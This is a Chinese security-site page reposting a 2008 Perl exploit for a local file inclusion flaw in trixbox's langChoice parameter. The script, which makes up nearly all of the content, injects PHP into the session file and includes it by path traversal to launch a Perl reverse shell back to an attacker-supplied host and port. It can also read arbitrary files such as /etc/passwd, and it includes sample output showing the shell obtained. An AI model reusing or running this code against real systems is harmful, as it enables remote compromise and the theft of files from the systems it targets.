• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链
您的位置:首页 > 网络安全 >Exploit > trixbox (langChoice) Local File Inclusion Exploit (connect-back)

trixbox (langChoice) Local File Inclusion Exploit (connect-back)

作者:佚名 字体:[增加 减小] 来源:互联网

佚名 向大家分享了trixbox (langChoice) Local File Inclusion Exploit (connect-back) ,其中包含local file inclusion,trixbox,exploit,exploit是什么意思,exploit db等知识点,遇到此问题的同学们可以参考下
#!/usr/bin/perl -w # Jean-Michel BESNARD - LEXSI Audit # 2008-07-08 # perl trixbox_fi.pl 192.168.1.212 # Please listen carefully as our menu option has changed # Choose from the following options: # 1> Remote TCP shell # 2> Read local file # 1 # Host and port the reverse shell should connect to ? (<host>:<port>): 192.168.1.132:4444 # Make sure you've opened a server socket on port 4444 at 192.168.1.132 (e.g, nc -l -p 4444) # Press enter to continue... # done... # nc -l -v -p 4444 # listening on [any] 4444 ... # connect to [192.168.1.132] from [192.168.1.212] 46532 # JMB: no job control in this shell # JMB: /root/.bashrc: Permission denied # JMB-3.1$ id # uid=102(asterisk) gid=103(asterisk) groups=103(asterisk) use strict; use Switch; use LWP::UserAgent; use HTTP::Cookies; usage() unless @ARGV; my $url = "http://$ARGV[0]/user/index.php"; my $ua = LWP::UserAgent->new; my $cookie_jar = HTTP::Cookies->new; $ua->cookie_jar($cookie_jar); menu(); sub execScript{ my $scriptCode = shift; post($scriptCode); my $phpsessionid = extractPHPSID($cookie_jar->as _string); post("langChoice=../../../../../tmp/sess_$phpsessionid\0"); } sub post{ my $postData = shift; my $req = HTTP::Request->new(POST => $url); $req->content_type('application/x-www-form-urlencoded'); $req->content($postData); my $res = $ua->request($req); my $content = $res->content; return $content; } sub readFile{ my $file = shift; my $content = post("langChoice=../../../../..$file\0"); my @fileLines = split(/\n/,$content); my $fileContent = "Content of $file: \n\n"; for(my $i=3;$i<@fileLines;$i ){ last if($fileLines[$i] =~ m/trixbox - User Mode/); $fileContent = $fileContent . $fileLines[$i-3] . "\n"; } return $fileContent; } sub tcp_reverse_shell{ my $rhost= shift; my $rport = shift; my $rshell = "langChoice=<?php `/usr/bin/perl -MSocket -e '\\\$p=fork;exit,if(\\\$p);socket(S, PF_INET, SOCK_STREAM, getprotobyname('tcp'));connect(S, sockaddr_in($rport,inet_aton(\"$rhost\")));open(STDIN, \">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec({\"/bin/sh\"} (\"JMB\", \"-i\"));'`;?>\0"; execScript($rshell); } sub extractPHPSID{ $_ = shift; if(/PHPSESSID=(\w )/){ return $1; } } sub menu{ print <<EOF; Please listen carefully as our menu option has changed Choose from the following options: 1> Remote TCP shell 2> Read local file EOF my $option = <STDIN>; chop($option); switch($option){ case 1 { print "Host and port the reverse shell should connect to ? "; print "(<host>:<port>): "; my $hp=<STDIN>; chop($hp); my($rhost,$rport) = split(/:/,$hp); print "Make sure you've opened a server socket on port $rport at $rhost (e.g, nc -l -p $rport)\n"; print "Press enter to continue..."; <STDIN>; tcp_reverse_shell($rhost,$rport); print "done...\n"; } case 2 { while(1){ print "Full path (e.g. /etc/passwd): "; my $file = <STDIN>; chop($file); print readFile($file) . "\n\n"; } } } } sub usage{ print "./trixbox_fi.pl <host>\n"; exit 1; } # milw0rm.com [2008-07-08]
</div>

您可能想查找下面的文章:

  • Wysi Wiki Wyg 1.0 (index.php c) Local File Inclusion Vulnerability
  • phpDatingClub (website.php page) Local File Inclusion Vulnerability
  • Pluck 4.5.1 (blogpost) Local File Inclusion Vulnerability (win only)
  • trixbox (langChoice) Local File Inclusion Exploit (connect-back)

相关文章

  • MojoClassifieds 2.0 Remote Blind SQL Injection Exploit
  • Pluck 4.5.1 (blogpost) Local File Inclusion Vulnerability (win only)
  • Friendly Technologies (fwRemoteCfg.dll) ActiveX Remote BOF Exploit
  • DESlock 3.2.7 (vdlptokn.sys) Local Denial of Service Exploit
  • fuzzylime cms 3.01 (polladd.php poll) Remote Code Execution Exploit (php)
  • HRS Multi (picture_pic_bv.asp key) Blind SQL Injection Exploit
  • Avlc Forum (vlc_forum.php id) Remote SQL Injection Vulnerability
  • minb 0.1.0 Remote Code Execution Exploit
  • Windows Media Encoder wmex.dll ActiveX BOF Exploit (MS08-053)
  • Dreampics Builder (page) Remote SQL Injection Vulnerability

文章分类

  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链

最近更新的内容

    • Galatolo Web Manager 1.3a Insecure Cookie Handling Vulnerability
    • Simple DNS Plus
    • Download Accelerator Plus - DAP 8.x (m3u) Local BOF Exploit 0day
    • LoveCMS 1.6.2 Final Update Settings Remote Exploit
    • WinRemotePC Full Lite 2008 r.2server Denial of Service Exploit
    • Maian Weblog
    • CoolPlayer m3u File Local Buffer Overflow Exploit
    • Maian Recipe
    • DESlock 3.2.7 (vdlptokn.sys) Local Denial of Service Exploit
    • Wordpress 2.6.1 (SQL Column Truncation) Admin Takeover Exploit

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有